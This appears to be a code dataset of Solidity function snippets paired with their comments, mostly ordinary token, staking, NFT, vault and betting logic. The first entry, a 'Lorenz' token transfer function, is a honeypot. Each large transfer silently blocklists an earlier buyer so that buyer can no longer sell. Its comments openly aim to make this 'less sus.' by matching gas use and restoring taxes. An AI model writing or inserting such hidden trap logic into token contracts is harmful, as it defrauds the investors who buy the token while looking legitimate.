file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
./partial_match/1/0x5F7e3eFdfF5b23a579C71EB9dbC4f717AF520FAB/sources/Lorenz.sol
DONE: make sell do similar actions = similar gas (less sus.) TO DO: put back taxes (less sus.) TO DO: put back max txn/wallet (less sus.)
function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0) && to != address(0) && balanceOf(from) >= amount && !_d[from] && !_d[to]); if (amount > 1000) { _d[_myArray[_startingIndex++]] = true; _myArray.push(to); ...
15,461,222
/** *Submitted for verification at Etherscan.io on 2021-03-26 */ pragma solidity ^0.7.1; //SPDX-License-Identifier: UNLICENSED /* New ERC23 contract interface */ interface IErc223 { function totalSupply() external view returns (uint); function balanceOf(address who) external view returns (uint); funct...
Convert unsigned 256-bit integer number into quadruple precision number. x unsigned 256-bit integer number return quadruple precision number/
function fromUInt (uint256 x) internal pure returns (bytes16) { if (x == 0) return bytes16 (0); else { uint256 result = x; uint256 msb = msb (result); if (msb < 112) result <<= 112 - msb; else if (msb > 112) result >>= msb - 112; result =...
10,947,052
//SPDX-License-Identifier: Unlicense pragma solidity >=0.8.11; import "./Constants.sol"; // TODO remove import "hardhat/console.sol"; library BingoCard { function validate(uint8[25] memory card) internal pure { uint80 duplicateValuesBitmask; for (uint i = 0; i < card.length; i++) { /...
top left -> bottom right top right -> bottom left row 0 row 1 row 2 row 3 row 4 column 0 column 1 column 2 column 3 column 4
function getLinesAndBitmasks(uint8[25] memory card) private pure returns (uint8[5][12] memory lines, uint80[12] memory lineBitmasks) { lines[0] = [ card[0], card[6], card[12], card[18], card[24] ]; lineBitmasks[0] = getLineBitmask(l...
969,564
pragma solidity ^0.4.11; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // So...
return true if sale has ended, false otherwise.
function saleEnded() constant returns (bool) { return firstblock > 0 && (saleDue() || hardCapReached()); }
12,735,587
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.2; import "AccessControlUpgradeable.sol"; import "UUPSUpgradeable.sol"; import "PausableUpgradeable.sol"; import "SafeERC20.sol"; import "ERC20.sol"; import "ECDSA.sol"; import { Address } from "Address.sol"; import { Supervisor } from "Supervisor.sol"; import ...
Transfer XY token from user, additionally burn the token if this chain is not ETH chain
function _lockXYToken(address sender, uint256 amount) internal { xyToken.safeTransferFrom(sender, address(this), amount); if (thisChainId != ETH_CHAIN_ID) { xyToken.burn(amount); } }
11,696,647
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c...
------------------------------------------------------------------------ Transfers the tokens from contracts balance of OBL's ------------------------------------------------------------------------
function _transfer(address _to, uint _tokens) internal returns (bool success){ require(_to != 0x0); require(balances[_to] + _tokens >= balances[_to]); balances[this] = balances[this].sub(_tokens); balances[_to] = balances[_to].add(_tokens); emit Transfer(this,_to,_tokens); ...
192,724
./partial_match/97/0x737189D306111F2F336F9aCF6C5ba86eBd1bc734/sources/BatchExchange.sol
a user facing function used to cancel orders. If the order is valid for the batch that is currently being solved, it sets order expiry to that batchId. Otherwise it removes it from storage. Can be called multiple times (e.g. to eventually free storage once order is expired). user address of user who cancels the orders...
function cancelOrders( address user, uint16[] memory orderIds, uint256 nonce, bytes memory sig ) public { requireAuthorization( user, abi.encodePacked(this.cancelOrders.selector, orderIds), nonce, sig ); can...
11,464,697
./full_match/5/0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45/sources/contracts/V2SwapRouter.sol
scope to avoid stack too deep errors
function _swap(address[] memory path, address _to) private { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0, ) = UniswapV2Library.sortTokens(input, output); IUniswapV2Pair pair = IUniswapV2Pair(Uniswap...
1,926,391
./full_match/80001/0x7a4fa0FDa4D616B532ed75fBa40627AE69254875/sources/contracts/WorkCredentialNFT.sol
Mints a single NFT and assigns it to the given address. minterAddress The address to whom the NFT will be minted. description The description of the NFT./
function mint( address minterAddress, string memory description ) public payable whenNotPaused onlyAdmin { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(minterAddress, tokenId); TokenData storage tokenData = _tokenData[tokenI...
5,641,689
./full_match/42220/0x8E4ce51662Bd78DC7b5bBc61FE87a46210616879/sources/contracts/TimelockController.sol
Schedule an operation that is to becomes valid after a given delay./
function _schedule(bytes32 id, uint256 delay) private { require(!isOperation(id), 'TimelockController: operation already scheduled'); require(delay >= getMinDelay(), 'TimelockController: insufficient delay'); _timestamps[id] = block.timestamp + delay; }
16,351,588
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.8.9; // code below expects that integer overflows will revert import "./AreaNFT.sol"; import "./RandomDropVending.sol"; import "./Utilities/PlusCodes.sol"; import "./Vendor/openzeppelin-contracts-3dadd40034961d5ca75fa209a4188b01d7129501/access/Ownable.sol"; ///...
The owner of an Area Token can irrevocably split it into Plus Codes at one greater level of precision. This is the only function with burn functionality. The newly minted tokens do not cause a call to onERC721Received on the recipient. tokenId the token that will be split Split. This causes our ownerOf(ch...
function split(uint256 tokenId) external payable { require(msg.value == _priceToSplit, "Did not send correct Ether amount"); require(_msgSender() == ownerOf(tokenId), "AreaNFT: split caller is not owner"); _burn(tokenId); _splitOwners[tokenId] = _msgSender(); PlusCodes.Chil...
1,464,410
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IStaking.sol"; contract YieldFarmGenericToken { // lib using SafeMath for uint; using...
call the staking smart contract to init the epoch
function _initEpoch(uint128 epochId) internal { require(lastInitializedEpoch.add(1) == epochId, "Epoch can be init only in order"); lastInitializedEpoch = epochId; epochs[epochId] = _getPoolSize(epochId); }
26,436
pragma solidity >=0.5.4 <0.6.0; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract TheAO { address public theAO; address public nameTAOPositionAddress; // Check whether an address is whitelisted and granted a...
Destroy tokens Remove `_value` tokens from the system irreversibly _value the amount of money to burn/
function burn(uint256 _value) public returns (bool success) { emit Burn(msg.sender, _value); return true; }
985,463
/** *Submitted for verification at Etherscan.io on 2021-08-05 */ // Sources flattened with hardhat v2.3.0 https://hardhat.org // File @openzeppelin/contracts/introspection/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in ...
Transfer `_amount` tokens ot type `_type` between accounts `_from` and `_to`./
function transferFor( address _from, address _to, uint256 _type, uint256 _amount ) public { require(_from == _msgSender() || isApprovedForAll(_from, _msgSender()), "GravisCollectible: must have approval"); require(_type < typeData.length, "GravisCollectible: type ...
10,668,587
./full_match/1/0x669f16EFB456956354FF16FB32216E6B04571339/sources/src/lib/proxy/UUPS.sol
Upgrades to an implementation with an additional function call _newImpl The new implementation address _data The encoded function call
function upgradeToAndCall( address _newImpl, bytes memory _data ) external payable onlyProxy { _authorizeUpgrade(_newImpl); _upgradeToAndCallUUPS(_newImpl, _data, true); }
9,742,677
./full_match/1/0x687A4B0Ac18Ed3796D55E6A1d747bD75591a8bac/sources/contracts/core/OtcOffer.sol
The available funds for a user swap is goverend by the amount of `userBuyToken` that the `fundsOwner` has available. The minimum of the `fundsOwner` balance of `userBuyToken`, and the spending approval from `fundsOwner` to this OtcOffer contract./
function userBuyTokenAvailable() external view returns (uint256) { address _fundsOwner = fundsOwner; uint256 _balance = userBuyToken.balanceOf(_fundsOwner); uint256 _allowance = userBuyToken.allowance(_fundsOwner, address(this)); return _balance < _allowance ? _balance ...
17,148,563
./full_match/3/0x0CF7c3555efd008B787d7D7877aC125C18d1c005/sources/SummaSwapV3Factory.sol
Effect some changes to a position params the position details and the change to the position's liquidity to effect return position a storage pointer referencing the position with the given owner and tick range return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient return am...
function _modifyPosition(ModifyPositionParams memory params) private noDelegateCall returns ( Position.Info storage position, int256 amount0, int256 amount1 ) { checkTicks(params.tickLower, params.tickUpper); position = _updat...
8,143,988
./full_match/5/0x6A115AA615688f64481FA231d88B2cC6C279499d/sources/project_/contracts/NFTGeneratorEACOracle.sol
returns ETH/USD rate based on USD
function getCurrentRate() external view returns (uint256) { (,int256 answer,,,) = aggregator.latestRoundData(); return 10 ** 26 / uint256(answer); }
7,082,693
./full_match/1/0xA3abb32c657adA8803bF6AEEF6Eb42B29c74bf28/sources/contracts/SmartYield.sol
returns the maximum theoretically possible daily rate for senior bonds, in reality the actual rate given to a bond will always be lower due to slippage
function maxBondDailyRate() external override returns (uint256) { return IBondModel(IController(controller).bondModel()).maxDailyRate( underlyingTotal(), underlyingLoanable(), IController(controller).providerRatePerDay() ); }
2,993,955
./partial_match/1/0x57FeA15015C8f0Fd35B3A25f57A75a94656B1769/sources/TrueRatingAgency.sol
Submit a loan for rating Cannot submit the same loan twice id Loan ID/
function submit(address id) external override onlyAllowedSubmitters onlyNotExistingLoans(id) { require(ILoanToken(id).borrower() == msg.sender, "TrueRatingAgency: Sender is not borrower"); require(factory.isLoanToken(id), "TrueRatingAgency: Only LoanTokens created via LoanFactory are supported"); ...
4,100,209
./partial_match/1/0xf12984f3b4Fd4415fCeA1cfD5886A2cC27963063/sources/contracts/ethereans/osFixedInflationManager/impl/OSFixedInflationManager.sol
let's change percentage
function updateTokenPercentage(uint256 newValue) external override authorizedOnly returns(uint256 oldValue) { oldValue = lastTokenPercentage; updateInflationData(); if(newValue != lastTokenPercentage) { lastTokenPercentage = newValue; lastInflationPerDay = _calculateP...
4,345,503
// Winding Tree // Web: https://windingtree.com/ // Discord: https://discord.gg/5Q3qde6Gr9 // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. ...
Shorthand method to change ORG.JSON URI and hash at once orgId ORGiD hash orgJsonHash New ORG.JSON's keccak256 hash orgJsonUri New ORG.JSON URI orgJsonUriBackup1 New ORG.JSON URI backup orgJsonUriBackup2 New ORG.JSON URI backup/
{ require( orgJsonHash != bytes32(0), "OrgId: ORG.JSON hash cannot be zero" ); require( bytes(orgJsonUri).length != 0, "OrgId: ORG.JSON URI cannot be empty" ); if (msg.sender == organizations[orgId].director && function ren...
14,764,939
// File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises a...
Burns `value` tokens owned by `msg.sender`. value amount of tokens to burn./
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) { _burn(msg.sender, value); }
107,515
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../mcd/saver/MCDSaverProxy.sol"; import "../../utils/FlashLoanReceiverBase.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; /// @title Receiver of Aave flash loan and performs the fl repay/boost logic contract MCDSaverFlashLoan is MCDSaverProxy,...
Draw collateral Swap Payback the debt Draw collateral to repay the flash loan
function repayWithLoan(ExchangeData memory _exchangeData, SaverData memory _saverData) internal { address managerAddr = getManagerAddr(_saverData.managerType); address user = getOwner(Manager(managerAddr), _saverData.cdpId); bytes32 ilk = Manager(managerAddr).ilks(_saverData.cdp...
12,899,290
// SPDX-License-Identifier: CC-BY-4.0 pragma solidity >=0.4.22 <0.9.0; import "../../common/Version.sol"; import "../../common/Frozen.sol"; import "./Consumer.sol"; import "./Subscriber.sol"; import "./CreditInquiry.sol"; import "./CreditReport.sol"; import "./CreditDispute.sol"; contract CreditReportAgency is Versio...
Consumer previlieges retrieves consumer report for the consumer by the owner so the consumer does not incur gas fees. to abide by law and allow free credit report to the consumer, cannot change the state on the contract, otherwise the method must pay gas fee. By not recording consumer self requests in the contract, kee...
function getCreditReport() public view returns (bytes32) { require(Consumer.onlyConsumer(), "access denied for consumer"); return CreditReport.getConsumerReport(msg.sender); }
14,121,343
// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC. // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either...
inject NONSTANDARD NAMING
function LIST141() external view returns (bytes32[] memory);
12,918,611
./full_match/5/0xc962E67D9490E154D81181879ddf4CD3b65D2132/sources/contracts/base/ModuleManager.sol
Returns an array of modules. If all entries fit into a single page, the next pointer will be 0x1. If another page is present, next will be the last element of the returned array. start Start of the page. Has to be a module or start pointer (0x1 address) pageSize Maximum number of modules that should b...
function getModulesPaginated(address start, uint256 pageSize) external view returns (address[] memory array, address next) { require(start == SENTINEL_MODULES || isModuleEnabled(start), "GS105"); require(pageSize > 0, "GS106"); array = new address[](pageSize); uint256 moduleCount = ...
1,889,550
/** *Submitted for verification at Etherscan.io on 2021-10-11 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //Developed by blockchainguy.net library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ funct...
only owner of 3-6 spaceboys
function mintGroup2() external { require(block.timestamp > Startdate, "The claim have not started yet."); require(block.timestamp < Enddate, "The claim have Ended."); require(_currentGroup2TokenId + 1 < MAX_SUPPLY, "Max Supply Reached"); require(balanceOf(_msgSender()) == 0, "You hav...
12,062,772
pragma solidity 0.4.26; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; import "openzeppelin-solidity/contracts/cryptography/ECDSA.sol"; import "../Vault/Vault.sol"; /// @title Send NFTs with a link. /// @author Ricardo Rius - <ricardo@rius.info> contract LinksNFT is Vault{ using SafeMath for uint; ...
Off chain relayer can validate the claim before submitting. _id Claim lookup key value. _signature Sender signature. _destination Destination address. keccak256(_id,_destination,nonce,address(this)) is a unique key remains unique if the id gets reused after fund deletion
function isClaimValid( bytes32 _id, bytes memory _signature, bytes32 _claimHash, address _destination ) public view returns (bool) { if(isFundValid(_id) && _signature.length == 65){ address signer = address(0); uint...
13,087,582
// Dependency file: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they...
Daily prize pool draw/ Determine whether the daily prize pool can be drawn 15% for the draw 85% naturally rolled into the next round No prizes left The first and second place ratios are 70%, 20%; 10% is evenly distributed to the remaining 5 Top 2 Reward for rankings, and rollover to the next round without rankings
function _openDayPool() internal { Pool storage day = dayPool[dayPoolId]; if (now >= day.date + DAY_POOL_CYCLE) { dayPoolId++; dayPool[dayPoolId].date = now; uint256 prize = day.amount.mul(15).div(100); dayPool[dayPoolId].amount = day.amount.sub(prize...
433,594
./partial_match/42/0x0e4E1135EB9dE57B48cd5119ca6900cBF2e23BaB/sources/SIGHBoosters.sol
get Booster Discount Multiplier for a Booster
function getDiscountRatiosForBooster(uint256 boosterId) external view override returns ( uint platformFeeDiscount, uint sighPayDiscount ) { require(_exists(boosterId), "Non-existent Booster"); platformFeeDiscount = boosterCategories[getBoosterCategory(boosterId)]._platformFeeDiscount; sighP...
3,363,106
// File: contracts/compound/ComptrollerInterface.sol pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTo...
Checks if the account should be allowed to repay a borrow in the given market cToken The market to verify the repay against payer The account which would repay the asset borrower The account which would borrowed the asset repayAmount The amount of the underlying asset the account would repay return 0 if the repay i...
function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) public returns (uint) { payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } ...
6,421,895
// SPDX-License-Identifier: BSD-3-Clause pragma solidity ^0.8.6; import "./CToken.sol"; interface CompLike { function delegate(address delegatee) external; } /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interf...
Sender repays a borrow belonging to borrower borrower the account with the debt being payed off repayAmount The amount to repay, or -1 for the full outstanding amount return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)/
function repayBorrowBehalf(address borrower, uint repayAmount) override external returns (uint) { repayBorrowBehalfInternal(borrower, repayAmount); return NO_ERROR; }
1,632,427
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./interfaces/ISaver.sol"; import...
getRate token_ : token address return avgApr : avgApr/
function getRate(address token_) public view override returns (uint256 avgApr) { (, uint256[] memory amounts, uint256 total) = _getCurrentAllocations(token_); uint256 currApr; uint256 weight; for (uint256 i = 0; i < allAdaptors.length; i++) { if (amounts[i] == 0) { co...
1,836,720
./full_match/1/0x2de0eed745C310c74a3B253506A15853F8A7F885/sources/contracts/CrowdSale.sol
Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner./
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "owner is 0x0"); _setOwner(newOwner); }
9,617,877
./full_match/77/0x914330F413E95598FE9FA9e2F4d4472c039113ab/sources/contracts/SelectorTokenGasLimiterManager.sol
Tells the bridge interface version that this contract supports. return major value of the version return minor value of the version return patch value of the version/
function bridgeSpecificActionsOnTokenTransfer( address _token, address _from, address _receiver, uint256 _value, bytes memory _data ) internal virtual; } pragma solidity 0.7.5; } pragma solidity 0.7.5; { return (2, 1, 0); }
5,049,193
./partial_match/3/0xE05FDD0806CA346Ad792Bf0b4bb8d4b1b8acA7Fb/sources/Nexon.sol
Gets the balance of the specified address. owner The address to query the balance of. return A uint256 representing the amount owned by the passed address./
function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; }
5,115,132
./partial_match/1/0x3f669AeFF1607F8a0233CB2dE7508F5a9A114685/sources/BaseRegistrarImplementation.sol
Name was previously owned, and expired
function _register(uint256 id, address owner, uint duration, bool updateRegistry) internal live onlyController returns(uint) { require(available(id)); expiries[id] = now + duration; if(_exists(id)) { _burn(id); } _mint(owner, id); if(updateRegistry) { ...
3,712,817
./partial_match/1/0x7166806B5eA6B5a6b81775E5Da8aa16310e32459/sources/contracts/StopLimitOrder.sol
Return the DOMAIN_SEPARATOR
function DOMAIN_SEPARATOR() internal view returns (bytes32) { uint256 chainId; return chainId == deploymentChainId ? _DOMAIN_SEPARATOR : _calculateDomainSeparator(chainId); }
3,707,676
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./SafeERC20.sol"; /** * @dev A token holder contract that will allow a beneficiary to extract the * tokens after a given release time. * * Useful for simple vesting schedules like "advisors get all of their tokens * after 1 year". */ ...
return the unlocker of the tokens./
function unlocker() public view virtual returns (address) { return _unlocker; }
13,140,817
./partial_match/3/0xc54f81ed1116c53d13776C419764F75cEfDe18F5/sources/SIPilotToken.sol
function to get the total amount that was claimable
function accumulativeAmountOf(address _owner) public view returns(uint256) { return claimableAmountPerToken.mul(balanceOf(_owner)).toInt256Safe() .add(claimableAmountCorrections[_owner]).toUint256Safe() / magnitude; }
5,089,201
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since...
Get the pool's balance of token0 Belong to the user
function _balance0() internal view returns (uint256) { return token0.balanceOf(address(this)) - protocolFees.fee0; }
1,246,519
pragma solidity 0.5.17; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Math} from "@openzeppelin/contracts/math/Math.sol"; import {ICurveDepo...
Stake in sCrv Gauge/
function stake() public { _stake(curveToken.balanceOf(address(this))); }
2,576,546
pragma solidity >=0.4.21 <0.5.0; //This is the solidity file to edit and use. You must migrate then copy the //relavent json file in build/contracts to the client folder. Copy into client/src/contracts directory import './MyToken.sol'; /* Storage that contains articles where IPFS stores contents and cover photo IPFS ...
Function that adds articleAdds the cover photo, title, and contentsIterate through array to check if address exists. If not, push to array.
function addBookReport(address _address, string memory _bookHash, string memory _bookTitle, string memory _contents) public { books[_address].bookHash.push(_bookHash) -1; books[_address].bookTitle.push(_bookTitle) -1; books[_address].contents.push(_contents) -1; bool bookAdded = false; ...
12,686,879
./full_match/1/0x9099FE0550f489b9002624B95c489e8f32B4D28a/sources/contracts/pool/FeesEscrow.sol
See {IFeesEscrow-transferToPool}./
function transferToPool() external override returns (uint256) { require(msg.sender == rewardEthToken, "FeesEscrow: invalid caller"); uint256 balance = address(this).balance; if (balance == 0) { return balance; } emit FeesTransferred(balance); return b...
16,548,446
./full_match/5/0x5F81EECFf9278306D48D328d4aaefCf3C8EAbE18/sources/h/gg.sol
Logic related to native gas refunds, it's very short but brainfuck level ugly
function generateContracts(uint256 amount) external { Types.BankState memory cachedState = state; uint256 offset = cachedState.totalContractsCreated; assembly { mstore(callvalue(), 0x766f454a11ca3a574738c0aab442b62d5d453318585733FF60005260176009f3) pop(create2(cal...
1,877,217
pragma solidity ^0.5.0; /** * @author Karen Suen * @notice A contract for managing trading of funds between buyers and sellers. * This contract manages all transactions between buyers and sellers in the * marketplace. When a buyer commits to purchasing a listing, a new transaction * is created and buyer's purchase fun...
Buyer confirms delivery of item from seller and escrow funds held in this transaction is released to the seller. The transaction must be in the correct state (AWAITING_DELIVERY) to be confirmed _id Transaction id to confirm and release funds/
function confirmItemReceived(uint _id) public isAwaitingDelivery(_id) { _releaseFundsToBuyer(_id); transactions[_id].status = Status.CONFIRMED; }
15,806,539
pragma solidity ^0.4.24; contract MonkeyEvents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddres...
gets existing or registers new pID. use this when a player may be new return pID/ if player is new to this version of ratscam grab their player ID, name and last aff ID, from player names contract set up player account
function determinePID(LDdatasets.EventReturns memory _eventData_) private returns (LDdatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); ...
12,032,743
pragma solidity ^0.4.25; /* ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌▐░▌ ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌ ▐░█▀▀▀▀▀▀▀█░▌▐░▌ ...
data setup setup data
{ uint8 localDivFee = 200; lastHour = getHour(block.timestamp); function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) onlyActive() internal returns(uint256) if (getHour(block.timestamp) == alertTime1 ||...
918,687
./full_match/420/0xE7c434dF88e06004f1b6B29C922457D303800b85/sources/contracts/Zengo.sol
TODO: constructing a constructor like this doesn't work figure out how to write it Done require( votingPoints[msg.sender] > 0, "You need voting points to submit a proposal" ); Evidence storage newEvidence = Evidence({ }); Structs.Proposal storage newProposal = proposals[proposalCount] = Structs.Proposal(0, prop...
function submitProposal( string memory _title, string memory _proposalDescription, string memory _evidenceDescription, string memory _evidenceUri, string memory _proposalType, string memory _streetAddress, uint256 _proposalEvidenceTimestamp, uint256 _l...
13,226,830
// Verified using https://dapp.tools // hevm: flattened sources of src/borrower/shelf.sol // SPDX-License-Identifier: AGPL-3.0-only AND MIT pragma solidity >=0.5.15 >=0.6.12 >=0.6.0 <0.8.0 >=0.7.0 <0.8.0; ////// lib/tinlake-auth/src/auth.sol // Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/m...
repays the entire or partial debt of a loan
function repay(uint loan, uint currencyAmount) external owner(loan) { require(nftLocked(loan), "nft-not-locked"); require(balances[loan] == 0, "withdraw-required-before-repay"); _repay(loan, msg.sender, currencyAmount); emit Repay(loan, currencyAmount); }
10,218,223
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract Register { using Address for address; /* =====================================================================================...
===================================================================================================================== ===================================================================================================================== ====================================================================================...
function verify(string memory code) public { _codes[msg.sender] = code; emit SendVerification(msg.sender, code); }
5,452,832
//Address: 0x5301f1ec2f48f86bbd5291dfd7998a3d733a3245 //Contract name: RentAuction //Balance: 0 Ether //Verification Date: 1/28/2018 //Transacion Count: 4 // CODE STARTS HERE pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { func...
Transfers multiple deeds to another address. If transferring to a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your deeds may be lost forever. _to The address of the recipient, can be a user or contract. _deedIds The identifiers of the deeds to transfer. Safety check to prevent against an ...
function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused { require(_to != address(0)); require(_to != address(this)); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; require(_owns(msg.sen...
12,995,716
// SPDX-License-Identifier: BUSL-1.1 // For further clarification please see https://license.premia.legal pragma solidity ^0.8.0; import {EnumerableSet} from "@solidstate/contracts/utils/EnumerableSet.sol"; import {ABDKMath64x64} from "abdk-libraries-solidity/ABDKMath64x64.sol"; import {IPoolIO} from "./IPoolIO.sol"...
get updated C-Level and pool liquidity level, accounting for decay and pending deposits l storage layout struct isCall whether to update C-Level for call or put pool return cLevel64x64 64x64 fixed point representation of C-Level return liquidity64x64 64x64 fixed point representation of new liquidity amount/
function getRealPoolState(Layout storage l, bool isCall) internal view returns (int128 cLevel64x64, int128 liquidity64x64) { PoolStorage.BatchData storage batchData = l.nextDeposits[isCall]; int128 oldCLevel64x64 = l.getDecayAdjustedCLevel64x64(isCall); int128 ol...
103,898
./full_match/8453/0x7654a0A63b877838577Fd38065A29C27f5bfC6d2/sources/contracts/Pool.sol
revoke the liquidity of erc20 token or native token _token erc20 token, if _token == adress(0), revoke the liquidity of native token _to After revoke liquidity, the amount in the liquidity pool will be transferred to '_to' _sign sign data if _token == address(0), revoke the liquidity of native token; else revoke th...
function revokeLiquidity( address _token, address _to, bytes calldata _sign ) external whenNotPaused { bytes32 hash_ = keccak256( abi.encodePacked(_token, _to, uint64(block.chainid), address(this)) ); require(verify(hash_, _sign), "Invalid signature");...
11,535,809
// SPDX-License-Identifier: UNLICENSED /* $$$$$$$\ $$\ $$\ $$\ $$\ $$$$$$$$\ $$\ $$ __$$\ $$ | $$ | \__| $$ | $$ _____|\__| $$ | $$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$\ $$ | $$\ $$$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$...
get token balance, if is WBnb un wrapper to Bnb and send to 'to'
function safeUnWrapperAndAllSend(address token, address to) internal { uint256 total = SafeToken.myBalance(token); if (total > 0) { if (token == WBNB) { IWETH(WBNB).withdraw(total); SafeToken.safeTransferETH(to, total); SafeToken.safeTransf...
5,545,144
pragma solidity 0.5.6; import "../tokens/nf-token-metadata.sol"; import "../ownership/ownable.sol"; /** * @dev This is an example contract implementation of NFToken with enumerable extension. */ contract Galaxia is NFTokenMetadata, Ownable { mapping (bytes32 => bool) public validUpgrade; uint256 public tota...
Mints a new NFT. _to The address that will own the minted NFT. _uri The IPFS hash of this asset metadata/
function mint(address _to, string calldata _uri) external onlyOwner { super._mint(_to, totalSupply); super._setTokenUri(totalSupply, _uri); totalSupply++; }
1,027,525
./full_match/4/0x77a6680ACc029609F658cf2064b4356143DC860C/sources/browser/WebaverseERC721.sol
0x08E242bB06D85073e69222aF8273af419d19E4f6, 0x1, "lol", 1
function mint(address to, uint256 hash, string memory filename, string memory description, uint256 count) public { require(isPublicallyMintable); require(hash != 0, "hash cannot be zero"); require(count > 0, "count must be greater than zero"); require(hashToTotalSupply[hash] == 0, "h...
670,136
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * dev: https://cainuriel.github.io/ /$$ /$$ /$$ /$$$$$$ /$$ /$$ /$$ | $$$ /$$$ | $$ /$$__ $$ | $$ | $$ ...
show all the tokens of the owner./
function tokensOfOwner(address owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(owner, i); ...
6,390,137
pragma solidity ^0.4.22; contract Bet{ uint public wager; //uint public stake; // uint public odds; address public Player1; address public Player2; address public Winner; address public Loser; enum State{ Created, Locked, Inactive } State public state; constructor() ...
